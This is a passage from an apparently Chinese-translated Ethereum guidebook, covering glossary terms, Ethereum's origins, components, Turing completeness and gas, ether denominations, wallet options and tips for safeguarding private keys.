

权益证明（PoS）


权益证明是加密货币区块链协议试图达成分布式共识的一类方法。权益证明要求用户先证明自己对一定量加密资产的所有权（即他们在网络中的“权益”），才可参与到验证交易的过程中。


工作量证明（PoW）


工作量证明是一份需要巨大算力才能找到的数据（即该“证明”）。在以太坊网络中，矿工必须找到符合全网难度标准的Ethash算法的数字解决方案。


公钥（Public key）


通过私钥的单向函数派生的数字，可以公开共享，任何人都可以使用它来验证用其对应私钥进行的数字签名。


收据（Receipt）


收据是由以太坊客户端返回的数据，用来表示特定交易的结果，数据包含交易哈希、打包的区块高度、实际gas消耗量，如果该交易用来部署合约，则还会返回该合约地址。


可重入攻击（Re-entrancy attack）


攻击者合约调用受害者合约函数，使得在调用执行过程中受害者合约会循环调用攻击者合约。这可能导致通过跳过受害者合约的余额更新或提款金额计算的部分来盗窃资金。


区块奖励（Reward）


以太坊网络给予找到相应工作量证明的解的矿工的，包含在每个新区块中用以太币计价的奖励。


RLP（Recursive Length Prefix）


递归长度前缀是一种编码算法，用于编码任意嵌套结构的对象（数据结构），它是以太坊中数据序列化的主要方法。


中本聪（Satoshi Nakamoto）


中本聪是设计比特币并创建比特币原始实现的个人或团队的名字。他（们）是第一个解决数字货币双重花费问题的人（团队），他们的真实身份至今还是个谜。


密钥（也称为私钥）（Secret key）


通过生成数字签名（参见“公钥”“地址”“ECDSA”），使以太坊用户能够证明账户或合约的所有权的密码。


“宁静”阶段（Serenity）


以太坊开发进程的第四阶段，也是终极阶段，还未公布计划的发布日期。


Serpent


直译为“大蛇”，是一种语法类似Python（直译为“大蟒”）的过程化编程语言。


SHA（Secure Hash Algorithm）


安全哈希算法，是由美国国家标准与技术研究院（NIST）发布的一系列加密哈希函数。


单例模式（Singleton）


计算机编程术语，描述只能存在单个实例的对象。


智能合约（Smart Contract）


在以太坊计算基础框架上执行的程序。


Solidity


一种语法类似JavaScript、C++或Java的程序化（命令式）编程语言，是用于编写以太坊智能合约的最流行也最常用的编程语言。由Gavin Wood博士发明，他同时也是本书的作者之一。


Solidity内联汇编（Solidity inline assembly）


Solidity中包含的内联汇编使用以太坊虚拟机汇编，可视其为以太坊虚拟机代码的人类可读形式的代码。内联汇编使得编写某些操作变得更加容易。


Spurious Dragon分叉


在区块高度为2675000时发生的以太坊网络硬分叉，解决了一些拒绝服务攻击变量，以及另一状态的清除（参见“Tangerine Whistle分叉”）。同时还增加了对重放攻击的防御机制。


Swarm协议


一个去中心化（点对点）的存储网络，与Web3和Whisper协议共同使用来构建DApp。


szabo


以太币的货币单位。10
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Tangerine Whistle分叉


在区块高度为2463000时发生的以太坊网络硬分叉，改变了某些输入/输出密集型操作的gas计算方法，并清理了因一次拒绝服务攻击造成的累积状态，这一攻击正是利用了某些操作的较低gas成本。


测试网（Testnet）


测试网络（test network）的缩写，通常用来模拟以太坊主网的行为。


交易（Transaction）


由一个原始账户签署并以一个特定地址为目标的提交到以太坊区块链上的数据。该交易包含交易gas上限等元数据。


Truffle


最常用的以太坊开发框架之一。


图灵完备（Turing complete）


在可计算性理论里，如果一系列操作数据的规则（如指令集、编程语言、细胞自动机）可以用来模拟单带图灵机，那么它是图灵完备的。这个名字来源于英国数学家和计算机科学家艾伦·图灵。


Vitalik Buterin


一名俄裔加拿大籍程序员、作家，因联合创建以太坊和《比特币杂志》而为世人所认识。


Vyper


一种高级编程语言，与Serpent相似，使用类似Python的语法，目的是创造一个更接近纯函数式的编程语言。由Vitalik Buterin发明。


钱包（Wallet）


保存用户密钥的软件，可以用来访问并管理你的以太坊账户并与智能合约交互。密钥不一定要存储在钱包中，为了提高安全性，可以离线存储（如写在一张记忆卡或者纸上）。尽管称其为“钱包”，但它并不存储代币本身。


web3


万维网的第三个版本。由Gavin Wood博士首次提议，代表了对网络应用的新愿景与新焦点：从中心化所有并管理的应用转移到在去中心化协议上构建的应用。


wei


以太币最小货币单位。10
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Whisper协议


去中心化（P2P）的消息传输服务。与Web3和Swarm协议共同使用来构建DApp。


零地址（Zero address）


一个特殊的以太坊地址，地址的所有字节都为0，作为“创建合约交易”的目标地址。




第1章　什么是以太坊？



以太坊经常被称为“世界计算机”。但这到底是什么意思呢？让我们首先尝试从计算机科学的角度进行描述，接着通过与比特币和其他去中心化信息交换平台（也就是我们常说的区块链）技术的比较，从更加务实的角度分析以太坊的能力和特性。

从计算机科学的角度来看，以太坊是一个具备确定性但实际上却没有边际的状态机。它有两个特点：具有一个全球范围可访问的单体状态；还有一个执行状态更改的虚拟机。

从更加实际的角度来看，以太坊是一个开源的、全球去中心化的计算基础架构，可以执行称为智能合约的程序。它使用区块链同步和保存系统状态，借助以太币这种数字货币来计量并控制程序执行的资源开销。

以太坊平台使得开发者可以构建强大的去中心化应用，并且内建了经济性的功能。在提供高可用性、可审计性、透明和中立等特性的同时，减少或消除了审查、第三方介入和对手方风险。




以太坊与比特币的比较



很多人在接触以太坊之前，已经对数字货币有一定的了解，比如曾接触过比特币。以太坊跟其他公共区块链有很多共同点：一个连接参与各方的点对点网络、一个用于同步状态的拜占庭容错共识算法（工作量证明）、使用数字签名和哈希等密码学原理、一种数字货币（以太币）。

然而，在许多方面，以太坊的目的和结构都与之前的开放式区块链（包括比特币）截然不同。

以太坊的主要目的不是成为数字货币的支付网络。虽然以太币本身对于以太坊的构成和运营是不可或缺的，但以太币的主要目的是作为一种效用货币来支付使用以太坊这个“世界计算机”所产生的花费。

与具有非常有限的脚本语言的比特币不同，以太坊被设计为通用可编程区块链，它的虚拟机能够执行任意和无限复杂的代码。比特币的脚本语言被故意限制为对简单的支付条件的真/假判断，以太坊的语言是图灵完备的，这意味着以太坊可以直接用作通用目的的计算机。




区块链的组件



一个公开的公共区块链通常包含以下组件：

·一个连接参与各方的点对点网络，用于传播交易和区块数据包，基于标准的“gossip”协议。

·以交易形式体现的消息，代表状态的转换。

·一组共识规则，用于管理构成交易的内容以及实现有效的状态转换。

·一个状态机，根据共识规则处理交易。

·一组串联在一起的、由加密算法保证其安全的区块，这些区块是所有已验证和已接受的状态转换的记录日志。

·一个共识算法，用于在区块链上实现控制的去中心化，这类算法通过强制参与者之间的合作以实现共识规则的有效执行。

·在博弈论上合理的激励方案（例如，工作量证明、区块奖励），以在开放环境中经济地保护状态机。

·上述一个或多个开源软件实现（“客户端”）。

这些组件基本上都包含在一个单独的客户端软件中
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 。例如，在比特币中，Bitcoin Core开源项目开发了比特币客户端的参考实现，名为bitcoind。相比参考实现，以太坊拥有一个参考标准——采用数学方式描述整个系统的黄皮书（详见后文的“扩展阅读”一节）。现有的很多以太坊客户端，都是根据黄皮书中的参考标准实现的。

过去，我们使用区块链来代表上述所有组件，这是对实现以上特点的技术的笼统描述。今天，市场上存在大量具有不同属性的区块链项目。我们需要一些修饰语来帮助我们理解区块链的特点，例如开放、公共、全局、去中心化、中立和抗审查性，以识别和理解这些区块链组件背后所浮现出的重要特性。

并不是所有的区块链都是一样的。当有人向你展示一个区块链时，你应该能够提出问题来明确这个区块链背后的含义。应该问清楚这个区块链所对应的上述每个组件的描述，以及这个区块链是否具备开放、公共等特征。




[1]

 在去中心化区块链的软件实现中，并没有所谓“服务器端”的概念。




以太坊的诞生



所有伟大的创新都是为了解决具体的问题，以太坊也同样。当时，人们已经意识到了比特币背后这套体系的能力，并尝试在数字货币技术的基础上推广到更广泛的应用领域。但是开发者面临着一个难题：他们要么在比特币的大厦上添砖加瓦，要么就需要从头开始实现一个新的区块链。在比特币基础上构建意味着必须接受比特币网络的种种限制，并尝试找到解决办法。比特币对数据存储的类型和规模有特殊的要求，这些要求限制了在比特币之上作为第二层解决方案可以运行的应用的类型。程序员所构建的应用只能建立在这些有限的变量、交易类型和数据之上，无法发挥公共区块链的众多优势。对于需要更多自由度和更复杂的应用，从头开始实现一个新的区块链是唯一的选择。但是从头开始实现一个新的区块链也意味着需要在基础架构、测试等领域白手起家。

2013年年末，一个年轻的程序员、比特币的狂热爱好者Vitalik Buterin开始思考未来如何扩展比特币和Mastercoin（一个基于比特币之上的协议，提供初步的智能合约）。2013年10月，Vitalik向Mastercoin团队提出了一个更具通用性的想法——可以用于替代Mastercoin专用合约语言的更灵活和脚本化（但还不是图灵完备）的合约机制。尽管Mastercoin团队很感兴趣，但是这个提议过于激进，以至于无法跟团队当前的开发计划吻合。

2013年12月，Vitalik分享了一份白皮书，这份白皮书勾勒了以太坊背后的思想：一个图灵完备的通用目的的区块链。一些人阅读了白皮书并给Vitalik发回了反馈，帮助他逐步地完善这个想法。

这本书的两个作者都收到了Vitalik的白皮书，并提出了反馈。Andreas M.Antonopoulos对这个想法非常着迷，并向Vitalik提出了很多问题，这些问题包括使用独立的区块链来实现智能合约执行的共识规则，以及图灵完备编程语言背后的含义，等等。Andreas怀着巨大的兴趣持续关注着以太坊的发展，但由于忙于《Mastering Bitcoin》一书的编写工作，在此之后并没有直接参与项目。Gavin Wood博士是最早接触Vitalik并在C++编程领域提供帮助的人。Gavin成为以太坊的联合创始人、联合设计师和以太坊基金会的CTO。

Vitalik在《以太坊史前回忆》一文（
http://bit.ly/2T2t6zs

 ）中写道：

当时以太坊协议还只是我一个人的创意。但从那时起，新的参与者开始加入，Gavin Wood在协议层的贡献是最显著的。

有些人把以太坊看作一个可编程的数字货币平台，基于区块链的合约，根据事先约定的规则持有和转移数字资产，为了改变这种看法，Gavin起了很大作用，他使人们相信以太坊将是一个通用目的的计算平台。这起源于一些关注点和术语的微妙变化，稍后随着“Web 3”概念的深入人心而更具影响力。Web 3把以太坊视为去中心化技术的一部分，去中心化技术的另外两个重要组成部分是Whisper和Swarm。

从2013年12月开始，Vitalik和Gavin重新定义和打磨这些想法，一同构建了以太坊今后的协议层。

以太坊的创始人都认为区块链不应该针对某个特定的目的，而是通过实现可编程性来支持更广泛的应用类型。这个想法就是，使用类似以太坊这样的通用目的区块链技术，开发者不必构建点对点网络、区块链、共识算法等基础设施，就可以开发自己的应用。以太坊平台的目的是把这些细节抽象化，提供一个确定性的、安全的编程环境，用于去中心化的区块链应用程序。

与Satoshi类似，Vitalik和Gavin并没有发明一种新的技术，而是通过一些新奇的方式，把一些新的想法和发明与现有的技术相结合。随后，他们向全世界展示了这些想法的一个原型实现。

以太坊的创始人花了数年时间构建和完善这个愿景。2015年7月30日，第一个以太坊区块被挖矿成功。“世界计算机”开始为全世界提供服务。


 　Vitalik Buterin在2017年9月撰写了一篇名为《以太坊史前回忆》的文章，以第一人称描述了以太坊早期发展的精彩历程。

你可以在这里阅读这篇文章：
http://vitalik.ca/general/2017/09/14/prehistory.html

 。




以太坊的四个开发阶段



以太坊的开发计划分为四个不同的阶段，每个阶段都会发生重大变化。阶段以“硬分叉”的方式发布，硬分叉意味着这次发布所做出的改变将无法后向兼容之前的旧版本。

四个主要发展阶段的代号为Frontier、Homestead、Metropolis和Serenity
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 。到目前为止（或计划）发生的过渡性硬分叉代号为Ice Age、DAO、Tangerine Whistle、Spurious Dragon、Byzantium和Constantinople。开发阶段和过渡性硬分叉都显示在以下时间轴上，按照区块高度编号的方式来标注日期：


区块高度：0


Frontier：以太坊的初始阶段，持续时间为2015年7月30日至2016年3月。


区块高度：200000


Ice Age：引入指数难度增加的硬分叉，以便在准备就绪时激励过渡到权益证明（PoS）。


区块高度：1150000


Homestead：以太坊的第二阶段，于2016年3月发布。


区块高度：1192000


DAO：一次硬分叉，用于补偿被攻击的DAO合约的受害者，并导致“以太坊”和“以太坊经典”分成两个互相竞争的系统。


区块高度：2463000


Tangerine Whistle：一次硬分叉，用于改变某些I/O密集型操作的gas计算，并消除能够利用这些操作的低gas成本的拒绝服务（DoS）攻击。


区块高度：2675000


Spurious Dragon：一个用于解决更多DoS攻击途径的硬分叉，以及另一次状态清除。同时也提供了针对重放攻击的保护机制。


区块高度：4370000


Metropolis Byzantium：这是以太坊的第三个阶段，于2017年10月推出。Byzantium是Metropolis计划的两个硬分叉中的第一个。

在Byzantium分叉之后，还有一个Metropolis阶段规划的硬分叉：Constantinople。Metropolis阶段之后将是以太坊部署的最后阶段，代号为Serenity。




[1]

 为便于读者对照英文资料，本书翻译过程中将尽可能保留这些特殊项目代号的英文名称，不做翻译。




以太坊：一个通用目的的区块链



最初的区块链，也就是比特币背后的区块链，是用于跟踪比特币及其所有权状态的。你可以把比特币看作一个分布式的共识状态机，交易导致一次全局范围的状态转换，改变了比特币的所有权。状态转换受共识规则所限，在若干个区块被挖矿之后，允许所有的参与方（最终）对系统的状态达成一致的共识。

以太坊也是一个分布式状态机。但是不同于跟踪数字货币所有权的状态，以太坊跟踪的是一个通用目的的数据存储的状态转变。通用目的的意思是任何可以表示为键值元组的数据。基于键值的数据存储可以保存任意复杂的内容，通过一些键来引用。例如，保存本书的信息可以通过书名来引用。在一些通用计算机中的RAM数据存储模型就是采用同样的方式。以太坊拥有一个保存代码和数据的存储器，使用区块链来跟踪这个存储器随着时间的变化。就像通用目的存储程序计算机一样，以太坊可以把代码加载进状态机，然后运行这些代码，并把状态转换的结果保存在区块链上。以太坊相比通用计算机的两个主要差异体现在：状态转换是由共识规则所控制的，状态是全局分布在一个共享的账本之上。如果能够基于共识规则来创建一台全局计算机，那么可以追踪任何复杂的状态变化并对状态机进行编程，这会带来什么？以太坊对这个问题提出了它的答案。




以太坊的组件



前文“区块链的组件”中所描述的内容，在以太坊中所对应的组件如下：


点对点（P2P）网络


以太坊运行在Ethereum Main Network上，这是一个通过TCP 30303端口寻址的网络，网络层运行的协议名为
 。


共识规则


以太坊的共识规则，由以太坊黄皮书（见后文中的“扩展阅读”）中的参考标准进行精确定义。


交易


以太坊交易是一个网络消息，主要包含交易的发送方、接收方、价值和数据载荷。


状态机


以太坊的状态转换由以太坊虚拟机（EVM）处理，这是一个基于栈的虚拟机，执行bytecode（字节码指令）。被称为“智能合约”的EVM程序采用高级语言（例如Solidity）编写，并编译为通过EVM执行的字节码。


数据结构


以太坊的区块链以数据库（通常采用Google的LevelDB）的方式保存在每一个节点之上，区块链内包含了交易和系统的状态，经过哈希处理的数据保存在Merkle Patricia Tree数据结构之内。


共识算法


以太坊使用比特币的共识模型Nakamoto Consensus，它使用顺序单一签名块，由PoW加权重要性来确定最长链，从而确定当前状态。但是，有计划在不久的将来转向代号为Casper的PoS加权投票系统。


经济安全性


以太坊当前使用名为Ethash的工作量证明算法，这个算法迟早将被放弃，并切换到PoS。


客户端


以太坊有多个可以互相交互的客户端软件实现，其中最广泛使用的是Go-Ethereum（Geth）和Parity。



扩展阅读



以下阅读材料为我们提供了更进一步的技术信息：

·以太坊黄皮书：
https://ethereum.github.io/yellowpaper/paper.pdf

 。

·黄皮书的“浅黄”版本，这是面向普通读者、不含大量数学公式的黄皮书修订版：
https://github.com/chronaeon/beigepaper

 。

·DΞVp2p网络协议：
https://github.com/ethereum/wiki/wiki/%C3%90%CE%9EVp2p-Wire-Protocol

 。

·以太坊虚拟机相关的精彩资源：
https://github.com/ethereum/wiki/wiki/Ethereum-Virtual-Machine-(EVM)-Awesome-List

 。

·LevelDB数据库（用于在本地保存区块链数据的数据库服务）：
http://leveldb.org

 。

·Merkle Patricia Tree（MPT）规范：
https://github.com/ethereum/wiki/wiki/Patricia-Tree

 。

·Ethash工作量证明算法：
https://github.com/ethereum/wiki/wiki/Ethash

 。

·Casper权益证明第一版实现指导：
https://github.com/ethereum/research/wiki/Casper-Version-1-Implementation-Guide

 。

·Go-Ethereum（Geth）客户端：
https://geth.ethereum.org

 。

·Parity以太坊客户端：
https://parity.io

 。




以太坊和图灵完备



只要阅读与以太坊有关的材料，你就会立刻听到“图灵完备”这个术语。大家都说以太坊不同于比特币，是一个图灵完备的系统。这到底是什么意思呢？

“图灵完备”一词来源于被称为计算机科学之父的英国数学家阿兰·图灵。1936年，图灵创建了一个数学模型之上的计算机，这个计算机包含操作符号的状态机，可以从连续的内存（例如无限长度的磁带）中读取和写入这些数据。在这个构想之下，图灵进一步探索关于通用可计算性这个问题的数学基础，这也就意味着求证是否任何问题都可解（图灵的研究试图给出否定答案）。图灵证明了有一类问题是不可解的，特别是著名的停机问题（即给定任意程序和输入，试图证明程序最终是否会停止运行）是不可解的。

阿兰·图灵随后定义了一个名为图灵完备的系统，这个系统可以用来模拟所有的图灵机。这类系统被称为通用图灵机。

以太坊能够执行存储在区块链之上的程序的能力，是由被称为EVM的状态机完成的。能够从存储中读取和写入数据让这个状态机成为图灵完备的系统，也就是满足通用图灵机的定义。在给定无限内存的情况下，以太坊可以计算任何图灵机可以计算的算法。

以太坊的突破性创新在于，它把存储程序计算机这样的通用目的计算架构与去中心化区块链相结合，因此创建了一个分布式的单体状态世界计算机。无论以太坊的程序运行在任何地方，都能够产生一致的共识状态，通过共识规则确保安全。



图灵完备作为一项“功能”



听到以太坊的图灵完备概念，你可能首先想到这是针对那些“图灵不完备”系统的一种补充功能。其实，恰恰相反。要实现一个“图灵不完备”的系统，才是需要足够的努力才能做到的事情。即使是最简单的状态机，都是满足图灵完备要求的。实际上，已知的最简单的图灵完备状态机（
https://www.sciencedirect.com/science/article/pii/S0304397596000771

 ）只需要4个状态，使用6种符号，其中的状态定义只有22个指令长度。有时，系统被发现“碰巧是图灵完备的”。这些系统的有趣故事可以在博客（
http://beza1e1.tuxen.de/articles/accidentally_turing_complete.html

 ）中找到。

由于我们之前提到的停机问题，在公共区块链等开放式访问系统中，图灵完备是非常危险的。例如，现代打印机是图灵完备的，如果向打印机发送特殊格式的文件，可以导致打印机陷入死循环并一直运行。以太坊是图灵完备的事实意味着任何复杂程序都可以由以太坊计算。但这种灵活性带来了一些棘手的安全和资源管理问题。陷入死循环的打印机可以关闭并再次打开，但是这对于公共区块链却是不可能的。



图灵完备的隐含意义



图灵指出，人们无法通过在计算机上模拟的方式来判断程序的执行是否会终止。简单来说，在真正运行程序之前，人们无法预测程序的执行路径。图灵完备的系统可以在无限循环中运行，这是对一个不终止程序的极简描述方式。创建一个始终循环不退出的程序并不是什么难事。但是由于程序起始条件和代码之间的复杂交互，那些无意中陷入的死循环却可能突然出现。在以太坊中，这意味着一个挑战：每一个参与以太坊的节点（客户端）都必须验证每一个交易，运行交易所调用的任何智能合约。但是根据图灵的理论，在真正运行合约之前，以太坊实际上无法预先判断一个合约是否会运行终止，或者它需要运行多久，也许这个合约会陷入死循环一直运行。无论是程序中的瑕疵，还是故意为之，智能合约都可能在一个节点试图验证它的时候永远不停地执行下去，这也就造成了一种DDoS攻击的后果。相比于可能几个毫秒就能够验证和执行完的正常智能合约，这类永远运行的恶意合约会造成资源浪费、内存消耗、CPU过载等，这就是浪费节点的资源。对于一台世界计算机而言，一个滥用资源的程序可能会蔓延到所有的节点之上，也就是对“全球”资源的浪费。如果无法提前预估，那么以太坊如何防止智能合约过度使用资源呢？

为了应对这个挑战，以太坊引入了名为gas的计量机制。EVM在执行智能合约时，它会仔细地计算每一个执行指令（计算量、数据访问，等等）。每一个指令都有一个预先定义好的开销，以gas为单位。当以太坊交易触发了智能合约的执行时，交易中必须包含这个智能合约执行过程中所需要的计算资源开销的上限。如果执行过程中的资源开销量超过了交易中指定的gas上限，那么EVM就会主动终止这个合约的执行。以太坊通过gas机制，在保证图灵完备计算的同时，限制了程序可以使用的资源量。

接下来的问题是，如何在以太坊世界计算机上获得gas以支付计算开销？你不会在任何交易所找到gas。它只能作为交易的一部分购买，并且只能通过以太币购买。以太币需要与交易一起发送，并且需要明确标记gas，以及可接受的gas价格。就像在加油站一样，gas的价格也不固定。为交易而购买gas，然后执行计算，并将任何未使用的gas退还给交易发送方。




从通用目的的区块链到DApp



以太坊开启了通用目的区块链用于构建多种应用的道路。很快，以太坊的愿景扩展为用于去中心化应用（DApp）的编程平台。DApp代表了更为广泛的“智能合约”。一个DApp只需要包括一个智能合约和一个Web用户界面。更广泛地说，DApp是一个构建于开放的、去中心化的、点对点的基础设施之上的Web应用程序。

DApp至少包含：

·位于区块链之上的智能合约

·Web前端用户界面

除此之外，很多DApp还包括其他的去中心化组件，比如：

·去中心化（P2P形式）的存储协议和平台

·去中心化（P2P形式）的消息协议和平台


 　有时候人们会用
 来表示DApp。
 是一个拉丁语字符，称为“ETH”，代表Ethereum。为了显示这个字符，可以使用Unicode 0xD0，如果需要在HTML中使用，就是十进制的数字#208。




互联网的第三次浪潮



从2004年起，“Web 2.0”的概念日渐引起人们的关注，它描述了面向用户生成内容、响应式界面和交互性的Web革命。Web 2.0并不是一个技术标准，而更像是一个描述Web应用新特点的术语。

DApp的概念正引导着万维网走向它的下一次革命，在每一个Web应用中都引入了带有点对点协议的去中心化能力。人们使用web3这个术语来描述这场革命，意味着Web的第三个“版本”。web3这个词首先由Gavin Wood博士提出，它代表Web应用新的愿景和关注点：从集中化和统一管理的应用，到构建于去中心化协议之上的应用。

在后续的章节我们会介绍以太坊的web3.js JavaScript程序库，它建立了运行于浏览器中的JavaScript程序和以太坊区块链之间的桥梁。web3.js程序库也支持名为Swarm的P2P存储网络和名为Whisper的P2P消息服务。使用支持这三种服务组件的JavaScript程序库，开发者可以在浏览器中构建完整的应用程序开发套件，用于开发web3 DApp。




以太坊的开发文化



到目前为止，我们已经讨论了以太坊的目标，以及它与前期区块链实现（例如比特币）在技术层面上的差异。以太坊同样也有着非常与众不同的开发文化。

在比特币的世界中，开发是由相对保守的原则所指导的：所有的更改必须严格检查，确保不会导致现有系统之上的问题。绝大多数情况下，只有那些能够后向兼容的修改才被允许实现。现有的客户端可以选择与新版的系统保持一致，但是也可以选择不更新而仍旧维持运行。

相比之下，在以太坊的世界中，开发文化更着眼于未来，对应的口号是：move fast and break things。如果需要一项更改，就实现它，即使这意味着废弃之前的假设、破坏兼容性，或者导致客户端被迫更新。以太坊开发文化的特点是快速创新、快速变革，敢于进行前瞻性实验，即使牺牲后向兼容性也在所不惜。

对于开发者而言，这意味着你需要保持一定的灵活度，当底层的假设改变时，准备好重新构建基础架构。以太坊开发者所面对的最大挑战是，把自己的代码部署到不可变的系统上，还是部署到不断发展和演化的平台上，这是一对固有的矛盾。仅仅“升级”智能合约是不够的。你必须准备好重新部署，还要迁移用户、应用和资金，全部重新开始。

有趣的是，这也意味着构建一个更具自治性和较少依赖中心控制的系统的目标是很难实现的。自治性和去中心化需要以太坊这样的平台在未来数年中有更好的稳定性。为了适应平台的不断“演进”，开发者必须随时把自己的智能合约推倒重来，这也意味着随着时间的推移，仍旧必须保持一定程度的控制。

但是，从乐观的角度来看，以太坊的推进速度很快。发生“自行车棚”效应的机会很小：这意味着过于争论细节，例如纠结于如何在核电站后面建造自行车棚。如果你发起了这样的细节争论，可能会突然发现开发团队的其他人都改变了计划，他们放弃了“自行车”，转向研究“自动气垫船”。

最终，以太坊平台的开发和演化会放慢脚步，它的接口会变得相对固定。但与此同时，创新是核心的驱动因素。你最好跟上这个步伐，因为没有人会停下来等你。




为什么要学习以太坊？



区块链的学习曲线非常陡峭，因为这个领域聚集了众多不同的知识：编程、信息安全、密码学、经济学、分布式系统、点对点网络，等等。以太坊让这条学习曲线变得不那么陡峭，你可以很快上手。但是在这个看上去简单的环境之下，却包含了很多。当你开始学习并深入思考时，总会发现更深一层的复杂性和奇迹。

以太坊是我们了解区块链的一个优秀的平台。以太坊建立在大规模的开发者社区之上，比其他区块链平台都要快。相比其他的区块链实现，以太坊更是一个开发者区块链，由开发者构建，为开发者服务。熟悉JavaScript应用的开发者可以很快掌握以太坊并且开发出可用的代码。在以太坊的早期，很多宣传T恤都印着类似“只需要五行代码就能创建一个以太坊代币”这样的口号。当然，这也是一柄双刃剑。编写代码相对容易，但是编写优质和安全的代码却困难重重。




这本书将会教你什么内容？



这本书会深入介绍以太坊及其每一个组件。你会从简单的交易开始，解剖它的工作方式，构建简单的合约，逐步优化合约，然后开始更精彩的深入探索以太坊之旅。

你会学习以太坊的工作原理，同时也会了解它的设计理念。你会理解每一个部分的工作方式，也会掌握它们如何集成在一起，以及集成的原因。




第2章　以太坊基本概念



在本章内容中，我们将开始深入探索以太坊，学会如何使用钱包，如何创建交易，以及如何运行一个简单的智能合约。




以太币的货币单位



以太坊的货币单位称为ether，也常使用ETH或符号Ξ（这是来自希腊文的字母“Xi”，看上去像一个大写的E），偶尔也会有人使用◆。例如：1 ether，或1 ETH，或Ξ1，或◆1。


 　你可以使用Unicode字符U+039E显示Ξ，使用U+2666显示◆。

以太币可以被拆分为更小的单元，我们把最小的单元称为wei。一个以太币相当于10

18


 个wei。你也许会听到有人说“以太坊币”，这其实是初学者常犯的错误：以太坊是指这个区块链系统，而以太币才是这个系统之上的数字货币。

在以太坊系统内部，以太币总是采用无符号整型数据来表示，以wei为单位。当你转账1 ether时，转账数据中的编码是1000000000000000000 wei。

以太币有多种“面额”，这些“面额”既有采用国际单位制（SI）的标准名称，也有为了纪念计算机和密码学领域著名的科学家而发明的“通俗”名称。

表2-1展示了以太币的多种不同面额单位，包括通俗名称和标准名称。为了跟以太坊内部的表示方式保持一致，这个表格以wei为单位，第七行代表一个以太币（10
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 wei）。

表2-1：以太币的面额和单位名称







选择以太坊钱包



尽管“钱包”这个词已经有了很多含义，但它们大多是相关的，并且在日常生活中也都可以归结为相同的东西。我们将使用术语“钱包”来表示帮助你管理以太坊账户的软件应用程序。可以说，以太坊钱包是通往以太坊世界的大门。它用来保存你的私钥、创建以太坊交易数据包并以你的身份在网络上广播。选择以太坊钱包是件挺困难的事情。以太坊钱包的种类很多，各自的设计目标和功能也不尽相同。有些适合新手，有些则是面向专家的。即使你现在选中了一款钱包软件，也很有可能过了一年半载后就会改变自己的选择。以太坊平台本身处在持续变化的过程中，优秀的钱包软件会紧跟平台的变化而不断更新，但有些钱包软件则更新缓慢。

不用担心！如果你选用了一款钱包软件之后并不喜欢它的工作方式，或一开始很喜欢但之后想尝试新的钱包，你可以很容易地实现更换。你需要做的仅仅是发起一笔交易，把旧钱包中的以太币转到新钱包的地址之下，或者可以通过导出/导入功能来迁移旧钱包中的私钥。

为了开始我们的以太坊之旅，我会选择三个不同的钱包贯穿在本书的各种实验和例子中：一个移动钱包、一个桌面钱包和一个基于浏览器的钱包。这三个钱包对于本书中的例子来说再合适不过了，因为它们充分代表了以太坊钱包的各种复杂性和功能。不过，选择这三个钱包并不代表作者对其质量或功能提供了背书。只是因为这些钱包足够完成我们书中需要的演示和实验。

请记住，要使钱包应用程序正常工作，它必须能够访问你的私钥，因此从可信任的来源下载和使用钱包应用程序至关重要。幸运的是，一般来说，钱包应用程序越流行，它就越可靠。尽管如此，最好避免“将所有鸡蛋放在一个篮子里”，应该让你的以太坊账户分散在几个钱包中。

以下是一些供初学者使用的钱包：


MetaMask


MetaMask是一个基于浏览器扩展的钱包，它运行在你的Web浏览器（Chrome、Firefox、Opera或BraveBrowser）中。使用这个钱包和进行各项测试都很容易，它可以链接多种以太坊节点和测试区块链。


Jaxx


Jaxx是一个支持多平台和多币种的钱包，可以运行在Android、iOS、Windows、Mac和Linux等操作系统。这款钱包对于新手来说是个不错的选择，因为它的设计目标就是简单和易于使用。Jaxx既可以是移动钱包也可以是桌面钱包，取决于实际安装环境。


MyEtherWallet（MEW）


MyEtherWallet是一个基于网页的钱包，它运行在浏览器之内。它有很多成熟的功能，我们会在后续的实验中多次用到这个钱包。


Emerald Wallet


Emerald Wallet被设计用于与以太坊经典（ETC）区块链配合使用，但也与其他基于以太坊的区块链兼容。它是一个开源桌面应用程序，可在Windows、Mac和Linux下运行。Emerald Wallet可以运行完整节点或连接到公共远程节点，以“轻模式”工作。它还有一个配套工具，可以从命令行执行所有操作。

我们首先在桌面上安装MetaMask，但在此之前，我们需要简要讨论控制和管理密钥的话题。




控制和责任



像以太坊这样的开放式区块链的安全性来源于它的去中心化特性。这意味着，以太坊的每一个用户都应该保管好私钥，这一点非常重要，因为这些私钥可以控制对其资产和合约的访问。我们有时把对资产和智能合约的访问合在一起称为“账户”或“钱包”。这些术语的功能可能会变得非常复杂，因此我们将在稍后展开更详细的讨论。然而，作为一个基本原则，可以简单地理解为一个私钥就等于一个“账户”。有些用户放弃自己管理私钥，而是使用第三方的工具，例如交易所开发的钱包软件。在本书中，我们会教你如何控制和管理自己的私钥。

私钥的管理意味着巨大的责任。如果丢失了私钥，将无法访问你在以太坊上的资产和合约。没有人可以帮助你重新获得访问权：你的资产将永久性地处在锁定状态。下面是一些有用的技巧，帮助你更好地履行私钥管理这个重大的责任：

·不要随意用自己的方式来保障安全，要使用久经考验的标准方法。

·账户越重要（例如，受控资产的价值越高，或智能合约越重要），越应采取更高的安全措施。

·空气隔离设备（不通过任何方式与互联网连接）能够提供最高级别的安全保障，但并非所有账户都需要达到这一级别。

·切勿以简单形式存储你的私钥，尤其是以数字化方式存储。幸运的是，今天的大多数用户界面甚至不会让你看到原始私钥。

·私钥可以以加密形式存储，作为数字“密钥库”文件。加密后，它们需要密码才能解锁。当系统提示你选择密码时，请将其设置为强（即长且随机），备份密码，不要共享密码。如果你没有密码管理器，请将其记下并存放在安全且保密的地方。如果要访问你的账户，你需要同时拥有密钥库文件和密码。

·不要把密码保存在数字文档、数字照片、截屏、在线网盘、加密的PDF等。不要临时拼凑一些安全解决方案。使用密码管理器或者纸和笔。

·当提示你备份以助记词显示的私钥时，使用纸和笔把它们记下来。不要把这个任务置之脑后，因为你一定会忘记。万一你计算机系统中的所有数据都丢失了，或者你把密码弄丢了，这张小纸条就会派上用处。然而，这也可能为攻击者提供可乘之机，进而窃取私钥。所以，千万不要以数字信息的形式存储私钥，建议把这张小纸条锁在抽屉或保险箱里。

·在进行大笔的数字资产转账之前（特别是转到新地址），首先做一笔小金额的测试转账（例如不到一美元），并且等待收据以确认交易成功。

·创建新账户时，首先只向新地址发送一笔小额的测试交易。收到测试交易后，尝试从该账户再次发回。创建账户可能会出错的原因有很多，如果出现问题，最好是通过这样的小额交易来发现问题。如果测试正常工作，那说明一切都没问题。

